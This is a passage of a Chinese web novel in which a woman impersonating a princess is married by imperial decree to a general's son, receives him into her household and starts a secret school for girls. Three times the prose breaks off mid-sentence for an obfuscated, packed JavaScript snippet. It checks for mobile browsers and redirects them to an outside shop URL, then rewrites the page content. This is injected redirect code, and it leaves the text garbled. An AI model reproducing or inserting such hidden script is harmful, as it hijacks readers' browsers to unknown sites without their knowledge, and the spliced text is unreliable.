“抱歉。”乔景芝一时忘了自己仍是男装,下意识道歉。 那人原本被撞得踉跄,吃痛吸气,听见这俊朗少年发出的竟是女声,便愣住了,一时竟不知道如何回话。 一旁的书墨怕动静太大引起他人注意,低着头扯了扯乔景芝的衣袖,催她赶紧离开。 乔景芝有些懊悔露了破绽,只得向那男子略一颔首,匆匆离开了茶馆。 “公子倒吓死奴婢了,您扮男装,怎能在茶馆出声呢?幸亏声音不大,要是被旁人听见,倒是要生出事端来。”书墨有些埋怨,“玉竹姐姐让奴婢跟着您,要是出事了可不好交代。” “是我的不是。”乔景芝闷闷道歉。 “不过,看那男子着装打扮,不像是京城人士呢。”书墨小声补充道。 事发突然,乔景芝因慌乱没有仔细看清,跟在她身后的书墨却有机会细细观察。 “那男子身上的衣衫皆是由羊毛和棉麻混纺而成,色彩朴素。但他身上的玉佩是由黄金包边,上镶嵌红蓝宝石,不是寻常人家所有的。故而奴婢猜测那男子不是京城人士。”书墨分析道。 “这般描述,倒像是北方或是西南方常见的服饰装扮了。”乔景芝自小在茶馆长大,也见过不少外来商贩旅人,对外地服饰特征也能识得一二。 她接着说:“西南地区?书墨,你最近有听到西南地区商贩入京的消息吗?” 书墨摇摇头,尚未开口,身后一道声音传来:“公子请留步。” 两人回头,发现正是刚刚在茶馆碰到的男子,身后跟着的是一名褐色短衫的随从。 他俯身行礼,道:“在下初到京城,刚刚在茶馆内多有冒犯,特前来赔罪。” “不过在下见公子有些面善,我们是否曾经见过?” 乔景芝一针见血道:“你是杨嘉时?” 男子微微一笑:“在下正是。” 乔景芝并未再开口。 杨嘉时轻摇手中的纸扇,对着乔景芝探究的目光并未闪躲,从容笑着。 4. 赐婚 乔景芝忽而笑了:“几年没见,一时倒是没认出你来。” 转头对书墨介绍道:“这位便是西南镇远侯的嫡长子,杨公子。” 书墨正欲行礼,被杨嘉时摆摆手拦下了:“在外不必拘礼,又不像皇宫里那么多规矩。” 说着话,他上前一把搂住乔景芝的肩膀,笑嘻嘻说:“刚刚我就说你看着面熟,略微一想就是你江裕了。” 他又捏了捏乔景芝的胳大臂,惊讶道:“不过你日日习武,这些日子倒像是疏忽了。怎么身子竟比之前来得瘦弱了许多?” 乔景芝被这突如其来的熟络气氛整得有些无措,一时不知作何反应。 还是杨嘉时身后跟着的随从一把将他从乔景芝身上撕了下来,边对乔景芝道歉,边训斥道:“临走之前将军就说你没个正型,提点着让您小心,怎么还是能忘了规矩!”又小声补充道,“小心公主揍您一顿,再躺上半个月吧!” 说罢,转头向乔景芝赔笑:“小的是公子的随从,叫小的平安就好。公主是知道我家主子的性子的,莫要见怪。” 乔景芝微微一笑:“倒也无妨。” 她抬手理了理被扯乱的衣袖,状似不经意地问:“不过我听说你们要再有十天才能进京,怎么到得这般早?” “我们出发的早,昨日才刚到的。”杨嘉时对乔景芝挤眉弄眼,却是不敢再上手了,“那些边陲之地没什么新奇东西,我早就玩腻了。京城有趣,所以我特意早来些日子,要玩遍了再去向皇上请安。” 平安无奈道:“我们也劝了,应召进京不先面圣可是大不敬。但是公子说,面见了皇上就要受许多制约,出来便要被一群人跟着伺候,一定要先玩些日子。” “我就是不爱被人跟着,多不自在。”杨嘉时接话道,“就好像现在,你我二人没有太多人跟着,才能这么轻松地闲聊呢。” “在街上说话,人来人往,多有不便。”书墨见他们有长聊的架势,插话道。 “也是。我们身份特殊,不便在外逗留太久,免生事端。等来日宫内相聚再与公子畅谈一二。”乔景芝向杨嘉时点头示意,道了别。 —————— 回了公主府,乔景芝一口气灌了三杯茶,愤愤抹了把嘴。 “没想到居然能在茶馆碰到杨公子。听玉竹姐姐说,皇上有意给给你们指婚呢。”书墨站在一旁添着茶水,笑着打趣乔景芝。 “他可不是什么善茬。”乔景芝翻了个白眼,“这人刚见面就能意识到我与昭华公主体格的差别。并且,我提起他来京不报的事,他反而把话头扯回我身上,暗讽我乔装出门。” 书墨这才听明白了两人对话的弯弯绕来,连连点头道:“奴婢愚笨,竟没有看出这么多门道。我待会去禀了玉竹姐姐,这些事情一定要让她知道的。” 乔景芝放下茶杯,探究地看向书墨,问道:“昭华公主与杨嘉时前几年比试的时候,是谁在公主身边伺候的?他们俩明显相识,竟没有人和我提前交代。我这样的状态便与杨嘉时成亲,你们就不怕被发现公主并非本人?” “是我的疏忽。本想着先歇些日子,过几天再细细告知公主之前的事情。没想到这么巧,你们今日出门便碰到他了。”玉竹从门外走进来,接过了书墨手上的茶壶,示意她退下。 “杨嘉时行事缜密,公主没有露馅就是好事。”玉竹安抚道。 “公主与杨嘉时的事情也说来简单。杨嘉时曾跟随他的父亲,也就是当今镇远侯杨崇远回京述职,公主听说杨家世代从武,便生出了比试的心思。只是杨嘉时天生根骨不佳,不宜习武。但当时公主不知道他的情况,激他说‘连女子都不如’。杨嘉时因此与公主拌嘴,公主气急,只一招就将其挑下了台子。” “然后他就躺了半月不能下床?” “是的。后来皇上知道了这件事,狠狠责骂了公主,罚了公主十大板,勒令她向杨嘉时赔礼道歉。” “但是我今日见到杨嘉时,他主动与我攀谈,态度尚可,倒不像是有芥蒂的样子。” “杨嘉时做事体面。身体痊愈了之后主动向皇上谢恩,还向公主道歉,说不该与她生出口角,这件事也有他的错处。” “他倒是会做善人。”乔景芝听完了前因后果,嗤笑道,“做事如此滴水不漏,名声也赚到了。公主被罚,又前来道歉,怕不是要将公主气出个好歹?” 玉竹笑道:“是的。当时公主认为他是上门挑衅,差点又要动手,幸好被拦下了。皇帝听说了,便说公主性子急躁,罚公主禁足,又让她抄了一个月的经书磨炼心性。” 乔景芝边听边喝着水,听到公主又被罚,被呛得直咳。 玉竹无奈地拍着乔景芝的背为她顺气,道:“我们公主率直,做事确实有些不知分寸。但那杨嘉时三番五次给公主下绊子,确实不是表面上那般好相处的人物。 “如今皇上有意向让公主与杨嘉时成亲,倒也是......病急乱投医了。” “心里这么多弯弯绕,确实是当谋士的料子。”乔景芝站了起来,理了理衣服下摆,吩咐道,“既如此,他今日有心与我相认,漏出进京不报的破绽,大约也不会等到十日之后再进宫,估摸着也就是这一两了。收拾收拾吧,花会或许就是这些天的事情。” 果不其然,第二天宫里传来了皇后传召的旨意。 “夏初日暖,御苑群芳竞放,次第呈妍。本宫拟于五日之后在御花园设赏花雅集,召京城王公子弟、女眷同游共乐。特召公主入宫赏花,望依期而至。” 太监念了懿旨,将诏书递到了乔景芝的手里,笑着说:“这花朝节已经过了,皇后却要开赏花会。听说是杨氏嫡子入京,皇后想借这个机会,要为他指婚呢。” 乔景芝没有接话。她笑着应下,让旁边侯着的玉竹给了赏钱。 “明明是皇帝想要指婚,竟是皇后传的旨意。”待太监离开,乔景芝展开黄绫细细阅读。 “花会属于内廷活动,是邀请京中贵族赏花娱乐的。若是皇帝下旨,倒显得有些生硬了。”日头有些大,玉竹站在边上为乔景芝摇着扇子。 乔景芝看毕,将诏书塞到了玉竹手里。 “在宫里住了些日子,却没有见过皇后,也未曾向她请安。你们没有提点过,皇后平日也没有召见。我猜,公主与皇后娘娘的关系不太亲近吧?”乔景芝边向内殿走,边问道。 “昭华公主醉心武艺,本就不常与后宫各位娘娘来往。加之皇后娘娘所生的三阿哥曾与公主有过不愉快......” “也被公主打了?”乔景芝了然。 玉竹尴尬地笑笑:“不过也是因为三阿哥好生事端,主动找得公主不愉快。被公主教训之后便老实了,只是与皇后的关系就疏远了一些。 “不过,若是公主一直不回来,您便要一直以公主的名号行事。那您不能再习武的事该如何圆过去?” “昭华公主行事如此高调,想必也不大会有不长眼的前来挑事。” —————— 花会当日是个晴天。御花园里支起了凉棚,一排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570150|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及腰高的青花白瓷盆摆放在凉棚四周,种着各色牡丹、芍药,中间是一个戏台,将凉棚分成男女宾客两处席位。 戏台上唱着的正是牡丹亭,是皇后娘娘钦点的一出戏,说是符合时下气氛。 帝后二人坐在两排座位的尽头,微笑着看着席间闲聊的各位世家公子小姐。 杨嘉时走上前,在皇帝座前撩袍行礼道:“臣杨嘉时拜见皇上、皇后,恭请皇上、皇后圣安。今逢花会,特献家乡所植的异品山茶一株,名曰‘五色芙蓉’。愿此奇芳,添寿圣朝。” 说着,身后侍从将捧着的一只紫砂陶盆献上。陶盆上花纹简单,只雕着一圈如意云纹,盆中种的是一株山茶。这山茶品种奇特,一树多花色,一花多色,花朵红、粉、白相间。 杨嘉时介绍道:“这株山茶是滇南花房新培育出的异色品种,江浙之地未曾得见。得了如此珍品,臣便快马加鞭赶到京城,将其献与帝后一观。” 皇帝抚掌笑道:“怪不得你比通传的消息要早些到达京城,难为你忠心一片。” 又朝身后静立的太监颔首道:“将此花放在堂下,让各位也能看看这株奇花。” 皇后看着杨嘉时掩唇一笑,问道:“你倒是个知礼的好孩子。许久没有见你来京,如今年下已过二十了吧?” “禀皇后,臣今年刚及弱冠。” “西南战事辛苦。是否已经与哪家小姐定下婚约了?” “臣以为,男子应当先立业而后成家,所以当下未有成亲的打算。”杨嘉时深深拜下。 皇后闻言看向皇帝,欲言又止。 皇帝笑着称赞道:“好一个男儿志向,若是朝堂上下都能效仿,便不愁无人替朕分忧了。 “只是滇南地广物稀,你又有如此孝心,深得朕心,朕亦生了将你留在京城的想法。正好,朕的长公主昭华与你年龄相仿,你们之前亦有过交集,朕倒觉得是一桩良缘。” 皇帝将拇指上的碧玉扳指转了一圈,指节扣在椅子的扶手上,微微俯身,看着拜在座下的杨嘉时,和蔼笑道:“杨卿,你意下如何?” “臣恐愚钝,难以配得上公主的才华和武艺......”杨嘉时沉默半晌,斟酌着回道。 “哎!那不过是女儿家一时的兴趣,难以上得大雅之堂,没有什么配不配得上的道理。朕觉得你们郎才女貌相当般配,实乃天作之合。” 杨嘉时知道皇上已下定主意,这场花会不过是针对他的一场鸿门宴,只得咬牙应道:“臣承蒙皇上圣恩,许以尚主之荣,实乃三生有幸。既如此,臣自当竭诚尽忠,于公主不敢有丝毫怠慢。” 皇后见杨嘉时答应了这桩婚事,笑着朝乔景芝招手道:“昭华,皇上给你们赐婚,还不快来谢恩?” 乔景芝在席间听了半天的勾心斗角,知道没有人能忤逆皇帝的意思,对这件事的结局也早有准备。 她从容站起,走到杨嘉时身边,对着御座上的皇帝皇后恭敬拜道:“儿臣谢父皇、母后恩典。” 杨嘉时见她没有一丝惊异的神情,没忍住悄声问道:“公主是否早已知晓你我今日的婚事?” 乔景芝微笑看着他,并未回话。 皇帝心中一桩事了了,自然轻松许多。见杨嘉时与公主说着悄悄话,和蔼道:“这孩子也不该贪这一时半刻的闲聊时间。等你们成婚,自然有许多日子可以谈心。” 他又对杨嘉时道:“朕已派人向镇远侯说了赐婚的事情,想必月余便能将消息传到。待你回府,便要做准备迁居公主府了。” 5. 入府 花会散场,乔景芝登上了侯在御花园外候着的马车。 还未坐定,便听见马车外侍女的惊呼声。遮挡的布帘被大力掀起,杨嘉时坐了进来。宽敞的马车一下子变得有些拥挤。 “你这是什么意思?”乔景芝撑着头看他,觉得有些好笑,“本宫还觉得,我们的关系没有好到能同乘一辆马车。就算你想与本宫拉近关系,现在未免也太早了些。” “既然皇上已经下旨赐婚,那臣与公主便是一家人了。同乘一辆马车有何不妥?”杨嘉时好像没有察觉到乔景芝语气中的讥讽,大咧咧翘起了腿。 “公主?”车帘厚重,外头听不清里面的对话。帘外玉竹试探着出声,猜测要不要喊侍卫将这登徒子赶下去。 “走吧。”乔景芝提高了声音,马车轮咕噜噜地转动了起来。 她懒得猜测杨嘉时到底是何居心,不想与杨嘉时多费口舌,也怕多说多错。 左不过他心里不痛快,也想报复到乔景芝身上。那他想做什么便由他做去,天子脚下,谅他也翻不出什么波浪来。 果然,杨嘉时见乔景芝不搭他的话,自觉有些无趣。收敛了笑容,探究地盯着乔景芝的脸。 乔景芝感受到了他的视线,有些不自在。她轻摇扇子,遮住了自己半张脸道:“这辆车可是回公主府的。刚被下旨定下了婚约,你就这么跟本宫回去,说出去可不是那么好听的事情。” “哦?只是微臣家产微薄,此次入京本就未带太多家当。眼下又是定了婚约,一时回不得西南,微臣的积蓄实在是不够再在京城里住上两个月的宅子。” 杨嘉时笑嘻嘻地凑到乔景芝面前,补充道:“公主习武,杨家尚主。再也没有比这些更离经叛道的事情了。公主不是在乎坊间闲话的人,臣也不是。择日不如撞日,臣觉着今日日子不错,便迁居公主府,也算是喜上加喜了。” 他装模作样拱了拱手,却没有一丝恭敬的意思:“望公主笑纳。” 乔景芝见他不着调的模样心里烦躁得要命。她也终于能理解,为什么昭华公主总会与他生出事端。 只可惜自己没有能力也狠揍他一顿。 乔景芝大力摇着扇子,对坐在帘外的玉竹道:“玉竹,回去给杨公子收拾间偏房出来。公子在京城无依无靠,只得入公主府讨口饭吃呢。” 玉竹沉默了片刻,回道:“是。” 杨嘉时见乔景芝始终一副淡淡的模样,有些诧异。 “公主倒是变了性子了。可是习武之事懈怠,连脾气也不那么急躁了?臣瞧着,可是比之前要温婉了许多。” 乔景芝忍无可忍,收起了扇子,“啪”一下打在了杨嘉时的头上。 “这么热的天,能不能消停会?一路上叽叽喳喳,想歇会都不能静心。再张嘴,你自己跑着去公主府!” 杨嘉时尴尬得摸摸鼻子,倒没有再说话。 回了府,府上的丫鬟婆子都已经知晓皇上赐婚的旨意,但仍惊讶公主回宫一趟,直接将准驸马带了回来。 玉竹让几个看热闹的丫头收拾了东边的侧殿,用作杨嘉时临时的住所。 杨嘉时也不见外,温声向丫头道了谢,却还是跟在乔景芝的身后四处张望。 “你这公主府倒是精巧。”他捻了一朵栀子花,将指尖放在鼻间细细嗅闻。 “那株是年前太后大寿,皇上为求好兆头给各位皇子公主赏的法莲。”乔景芝边走边胡诌道,“这个品种的栀子花全京城也就十余株,花朵更是有价无市。小心本宫面见了皇上,告你一状。” 杨嘉时悻悻放下手中的花,留也不是,丢也不是,斟酌着放进了随身带着的荷包里,显得恭敬些。 他三两步又追上了乔景芝,好奇道:“这是你的寝殿?我原本以为你看不上这些女孩家喜欢的东西。” “你难道还要跟着我进内室参观吗?”乔景芝停下脚步,回头瞪着他。 “我想与你说说体己话。”杨嘉时嘻嘻笑着。 乔景芝朝身后的玉竹点点头,玉竹神色暧昧,将跟伺候着的一众侍女都带了出去,关上了寝殿门。 “你我如今竟有什么话是需要私下说的?” 乔景芝在中堂椅上坐下,杨嘉时坐在了她的身侧的椅子上。 他清了清嗓子,有些严肃地说:“臣不知公主是否知晓西南战局。说句自夸的话,如今滇南日日动乱,战事谋划布局是由微臣全权把握,不能假以他手。进京面圣,三两月或许可以应付得来,但皇上赐婚,臣便不能再回去,这战事可就......” 乔景芝噗嗤一笑:“你以为,这些东西皇上会没有考虑到?” 杨嘉时愣住了,一时不知道如何回话。 乔景芝低声笑道:“皇上纵观全局,他的意思又岂是你我可以左右的?” “这战事紧张也不是一日两日,你父亲手握重兵,自然也不是吃素的。没了你,还有你的父亲,还有我大景国数不清的能人忠士。没有你出谋划策,左不过就是多费些粮草兵马罢了。” “粮草兵马?那可是一条条人命!”杨嘉时出声反驳。 “这是皇上的意思。”乔景芝静静地看着他。 杨嘉时沉默了。 半晌,他起身朝乔景芝行了个礼,自己推门出去了。 乔景芝端起茶杯抿了一口,听见他问院内洒扫的丫头住处的方向。 玉竹进来,端了盘糕点,笑着说:“杨嘉时这次进京倒是能耐住性子,说了两句话便回去休息了,也没吵起来呢。” “他现在是我公主府的人,我是他的主子,他就算是被打了,也是家事了。”乔景芝讥讽道,“皇上倒是为公主考虑过了,还送了个出气包上门。” 说话间,有宫内的太监走进了院内,恭敬行礼。 “禀公主。皇上已命钦天监挑选黄道吉日,好早点把日子确定下来。内务府也着人拟了妆奁单子,过些日子便会送去给皇后娘娘和贵妃娘娘过目,也会抄一份给公主送来。” 说罢招了招手,后头跟着的一众太监捧着金玉珠宝在乔景芝面前跪下。 为首的大太监说:“这是皇后赏赐的一些珍宝,说是公主将要成家,值得庆贺。也给杨公子赏了一份。” 他试探着乔景芝的意思,问道:“听说杨公子暂且是在公主府内住下了?那这些赏赐是……” 乔景芝在捧着檀木托盘的太监面前停下,捻起一串珍珠绕在指尖,又松手让它落回了盘内。 “东西不错,皇后娘娘有心了。替本宫向皇后谢恩吧。” “杨公子住在公主府的东侧殿内,把赏赐都依数给他送去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570151|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 大太监连声应下,跟着引路的侍女离开了。 乔景芝又招了招手,对玉竹说:“书墨在公主府伺候,这城中的情况,是不是书墨更了解一点?” 玉竹点点头道:“奴婢平日里负责公主在皇宫内的大小事务和生活起居,宫外公主府的采买事宜多是由书墨打理的。” 乔景芝吩咐道:“你得空了让书墨带人到杨嘉时之前落脚的地方,看看房间内有没有什么留下的物件之类。再在四周打听打听,他拜见皇上的前几天,是否有其他生面孔与他来往过。” 玉竹一一应下。 “玉竹又问道:“不过,虽然皇上已经下旨赐婚,但公主现在便让杨公子住在府上,是不是有些不妥?” 乔景芝答道:“杨嘉时前脚迈进了公主府,后脚太监便送来了赏赐,明显是皇上默许杨嘉时住在公主府了。 “并且,公主曾与杨嘉时有过节是人尽皆知的事情。恐怕皇上更担心我与杨嘉时关系不合,甚至闹到御前,让镇远侯抓住了话柄,求他收回诏书放他儿子回家呢。” “奴婢只是怕杨公子瞧出了什么端倪。您之前不是说,他对您与昭华公主的形体差异上有察觉吗?” 乔景芝抿了抿嘴道:“他是个聪明人。哪怕证实了,他也不会明目张胆地宣扬出去。 “或许,他主动要求迁居公主府,也是想要从我身上找出破局的破绽。” 入夜,乔景芝寝殿内却仍点着明烛。 “公主,早些休息吧。”玉竹劝道。 乔景芝仍翻着手中的邸报,报上记载的多是朝廷高官才能接触到的信息。 她感叹道:“普通人和达官贵人的区别就体现在这些消息上了。坊间传闻多么灵通,也不能知道如此详细的新闻呢。” 她身为公主,本接触不到这种文书。是玉竹听说她感兴趣,托人从枢密院抄了一份过来。 玉竹抿嘴偷笑:“您和昭华公主倒不一样,竟爱看些文字。 “不过,这些邸报也算不得什么。初建公主府时,皇上希望公主尚文而非好武,特命人建了好大一间藏书阁,只可惜公主不大爱去。您若是感兴趣,我明日便领您进去,找些有意思的给您看。” 乔景芝惊喜道:“爹爹在茶馆说书已经算得上博学,只可惜能看的书都是些演义话本之类修饰过的故事,读多了也没什么新奇。若是能进藏书阁,那自然是好事。” “那您还不早些休息?”玉竹笑着打趣。 “只是这条,”乔景芝指着邸报说,“上面说西南军中新秀杨嘉行,以兵三百收复失城,因功受赏。” 玉竹道:“杨嘉行?奴婢记得杨嘉时一脉单传,并无其他兄弟。这位大约是他的堂兄弟。” 乔景芝没忍住笑出了声:“适才刚说军中不缺他杨嘉时一个,这会他便有同辈顶替上来了。只是这邸报虽是刚到手里,离杨嘉行受赏也有些日子了。怕不是杨嘉时离开没多久,杨嘉行就被提拔了。” 她嗤笑道:“说得那么好听,不也只是被当成了家族的弃子?只怕他父亲就没想着他能够回去。” 她越想越幸灾乐祸,吩咐道:“这会还早,杨嘉时应当是还没有睡的。把这条信息差人告诉他一声。就说是本宫担心他思乡心切,替他打听来的消息,莫要感谢。” 6. 女学 杨嘉时得了消息,反应倒比预想的平和。 第二日早晨,乔景芝到饭厅的时候,杨嘉时已经坐在椅子上用早膳了。 乔景芝盯着他的脸观察了半天,也没有看见没睡好漏出的疲态。本来想看笑话的心思没被满足,她泄了气,趴在桌上,恹恹地戳着碗里的包子。 “你一点都不生气吗?”乔景芝没忍住问道,“大好的前程拱手让人,你一点感觉都没有?” “那也是皇上的意思。西南的事情,我再有什么想法,又能如何呢?”杨嘉时用乔景芝的话回敬。 他已经吃完,正在用手帕仔仔细细地擦手。 “你不觉得过于巧合了吗?你刚出发来京城,就换了领军。”乔景芝追问。 她不相信杨嘉时会如表面般平静。 杨嘉时擦手的动作顿了顿,放下了帕子。“或许是父亲有不得不用人的理由了。” 说着话,玉竹脚步匆匆从前厅走进来,对着乔景芝耳语道:“书墨有事禀报。” 乔景芝目光略扫了一眼杨嘉时。 杨嘉时起身道:“那臣就先退下了,公主慢用。” 待他离开,书墨走了进来,道:“公主之前让奴婢带人调查杨公子的住所。奴婢检查了内室,公子走之前收拾的很干净,连一张纸都没有留下。 “出入宅邸的人也不常走正门。但曾有人见过两位衣着正式的皇家官员从马车上下来,进了杨公子的宅邸,约莫就是下了早朝的时间。” 乔景芝点点头,并未有太大反应。 杨嘉时做事干净,没被抓到把柄也是意料中的事。他现在住在公主府,想来也不大有机会做出出格的举动。 乔景芝让书墨继续找人看着杨嘉时,防止他在眼皮子底下再有什么小动作。 书墨应了交代,退下了。 乔景芝眼下没了食欲,心里又挂念着藏书阁,便让人撤了饭食,急匆匆要去找些书看。 昭华公主对读书方面不大感兴趣,平日里爱读的也只是些兵法谋略,故而藏书阁鲜少有人过来。 但是书柜上灰尘并不厚,约摸是有下人定期来打扫的。 乔景芝草草挑了些市面上少见的藏书,让侍女捧着送回她房间里。 藏书阁书柜间步道狭窄,只够一人通过。乔景芝嫌侍女跟着麻烦,让她们先出去了。 她一人在林立的书柜间踱步,手指略过一册册书脊,指尖粘上了薄灰。她看着手指,若有所思。 “这些书放这也是可惜。下人们能看吗?”出了门,乔景芝问侯在门外的玉竹。 “藏书阁是主子的房间,咱们下人怎么能随意进出呢?缺了少了什么,可是没法说清楚的。”玉竹有些意外。 乔景芝点了点头,没有回话。 过了午膳,她便让人备下车马,要进宫面见皇上。 她到乾清宫时,三皇子江期正在向皇上请安,通传太监恭敬地向她行礼,让她且等一等。 等了约莫半个时辰,江期出来了。他见乔景芝站在殿外,上下打量了一番,撇嘴道:“这些日子忙得很,姐姐定下了婚约,我倒忘了给姐姐道喜了。” 他说着,随意地拱了拱手,又接着道:“只是听说驸马身弱,不是习武的料子。不知道能否在皇姐手下接过三招?” 乔景芝见他的装束打扮便猜出他是与昭华公主有过节的三皇子。 这人确实有些聒噪,乔景芝心想。 她并未接江期的话茬,只是斜睨了他一眼,在太监通传后径直越过他,走进了殿内。 江期见自己被无视,有些恼怒,恶狠狠啐了一口:“呸!还真当自己是顶天立地的将军了!有些本事有什么用,还不是得当下堂妻!” 殿内,皇帝正在翻着折子。 见乔景芝进来,道:“你和杨嘉时婚礼的事情朕已经着人去细细安排了。婚期定在七月初四,时间有些紧,但却是个难得的好日子。” 乔景芝回道:“谢父皇挂怀。杨公子前日搬进公主府,倒没有什么太大的反应。儿臣已经命人时时看着他。诏书已下,也不怕杨家能有什么大动作了。” 皇上点了点头,沉吟道:“如此便是最好的了。你这次进宫来所为何事?” 乔景芝道:“儿臣将要成亲,且杨嘉时又是个半点武艺都不会的,公主府内也不便有外男出入。儿臣想,倒不如借这个机会多读些古今书籍,能够修身养性也是一件好事。” 皇上诧异道:“朕赐婚并不是断绝你习武的念头......也好,成婚了是该沉稳些。只是你要读书,公主府内亦有上好的藏书阁,何必要来朕面前询问朕呢?” 乔景芝道:“儿臣认为,公主府内并无有才学的侍女。杨嘉时博学,可是研墨这类小事总不能由他负责。” 皇上觉得这番话说得有些意思,问道:“若只是那样,那从宫里拨几个认字的宫女,给你带去府内,便也罢了。” 乔景芝摇了摇头道:“恕儿臣直言,皇宫里的宫女学习的是服侍人的本事,但思想闭塞。儿臣武艺更胜男儿,学识上自然也想更为出众。儿臣想从寻常百姓家里挑选出资质上佳的女子来服侍。” “哦?”皇上兴致勃勃地问道,“那你想要如何做呢?” “儿臣认为,宫外的女子不如宫内的规矩多,思想也更不受束缚。若是教她们读书识字,再选取其中佼佼者,准许其进入公主府......”乔景芝道。 “你莫不是想开设女学?”皇帝掀起眼皮,皮笑肉不笑地打断道,“自古以来女子都不得入学堂,你竟敢有这种大逆不道的想法。江裕,你竟是想要干政吗?” “父王多虑了,儿臣并非想要插手政事。只是儿臣要求甚高,所以想了这个法子,恳请父皇莫要怪罪。”乔景芝躬身回答。 “儿臣自幼习武,也有不差的成绩,可见女子与男子相比并无太大差别。既然如此,儿臣认为,召女子学习也不是什么坏事。” “你这是妇人之见!”皇上斥责道,“女子若是读书,那谁来操持各家中的琐碎杂事?你一人出格倒也罢了,难道要让旁人跟你一起胡闹吗?” 乔景芝笑道:“儿臣只是需要几个合心的侍女,也用不着大费周章。只要父皇首肯,左不过是召了几个女子来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570152|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主府伺候。平日也给了她们赏钱和份例,不过比寻常找人伺候要略微麻烦些罢了。” 皇上冷哼道:“你从小就有主意。若只是如此,我同意倒也没什么。你自己思量着,做事不要太出格就是了。” 乔景芝见事情有了着落,嘻嘻笑着应下,说了好些话恭维。 回了公主府,她找来书墨吩咐道:“这些日子在街巷中物色一些品性好的人家。家中若是有未出阁的女子,问问她们是否愿意来公主府伺候。” 书墨不解道:“现下府中并不缺人伺候。况且就是缺人,按规矩来,也应当是禀了内务府,再由宫里指派人进咱们公主府。” 乔景芝微微一笑道:“我想借这个名号开办女学。” “女学?”书墨一时没有反应过来,疑惑问道,“女子要学的不过是些礼仪规矩,公主是想亲力亲为,教她们这些?” 乔景芝摇了摇头道:“我只是看不惯世间只有男儿能入学堂。” “可是,可是这不合规矩......” “书墨。”乔景芝牵起书墨的手,坚定地看着她的眼睛,“你想读书吗?不只是简单地认得几个字。你看见天上飞的鸟儿,园子里种植的花儿朵儿,不会想知道它们的名字、习性,更了解它们一些吗?” 书墨愣愣地看着乔景芝。 乔景芝又道:“这世间这么大,不止公主府,也不止皇宫、京城。那么辽阔的天地,普通人没有办法亲自用脚步丈量,但是从书中能读到这一切。你不想知道外面的世界是怎么样的吗?” 书墨有些恍惚,但又了然地点点头道:“奴婢不太明白,但是奴婢觉得,公主想要做的是很好的事情。” 选择适宜的女子是一件比较麻烦的事情。 幸好平日里昭华公主的名声一向不错,许多人家听说公主府需要聪明伶俐的丫头,都愿意把自家孩子送来碰碰运气。 但当他们听说,女儿先要学习好些日子,短时间不能获得月钱,又嘀嘀咕咕地把孩子领回去了。 书墨有些苦恼地告诉乔景芝:“不做工没有回报,除了穷苦人家,大多数人都不愿意把女儿送来公主府呢。” “那就再添一条。学堂每半年取一名成绩最佳者,奖十两银子。” “公主,会不会太多了些?十两可是普通人家近两年的开销呢。” “不多。只有奖赏足够诱人,才会有人把女儿送来读书,也才会让那些女子卯足了劲学习,争得头筹。” 书墨依照乔景芝的吩咐重新在街坊传播了公主府需要侍女的消息,陆陆续续有十余个女子来报了名。 公主府总归不适合让普通人家频繁进出,乔景芝又在公主府不远处租了一间小屋,当做那些女子学习的地方。 “学生准备好了,那由谁来教书呢?”书墨苦恼道,“公主不爱读书,所以府内也没有请教习老师。宫中的先生更是老迂腐,必不会出面教一些平民女子。难道是要请了杨公子?” “茶馆有位说书人乔尹,他学识渊博,教亦有道,思想也不迂腐,适合当这些女子的老师。”乔景芝微微一笑,缓缓道。 7. 成婚 盛夏时节,热得人心生烦躁。 午后的风卷起一层层热浪,连鸟都没力气叫唤,只有树上的蝉还在扯着嗓子吱呀。 屋内一众侍女正在伺候乔景芝梳妆。 玉竹将一把系着红丝线的枣木圆头梳递到了梳发姑姑的手边。 姑姑接过梳子,边梳边念道:“一梳梳到尾,二梳白发齐眉......” 身后有侍女站在冰盆边摇着扇子,风带着一丝凉意吹向坐在梳妆台前的乔景芝,她本来迷瞪着眼,被凉风吹得激灵了一下。 “公主殿下,您别动。”梳发的姑姑怕发丝不能平整,虚虚扶住了乔景芝东倒西歪的脑袋。 乔景芝微微直起了身子,有些不好意思道:“劳烦姑姑了。实在是昨天夜里没睡好,有些犯困。” 贵妃坐在堂中的椅上,端着一盏茶,边看边笑着摇头道:“都已经成了婚,竟还像个孩子一样,总犯迷糊。” 玉竹见乔景芝实在是困得难受,端来一个醒神的小香炉放在台上。 “这是什么香?闻着不像是宫内时兴的。”贵妃问道。 “禀娘娘,这是镇南侯送来的贺礼,前些日子才送到公主府来。此香名为‘乌卜藏香’,是用白檀香、丁香、茶叶、水果以及宝石粉末和金箔等混合制成的。镇南侯信上说,这样才能体现出公主尊贵的身份呢。” 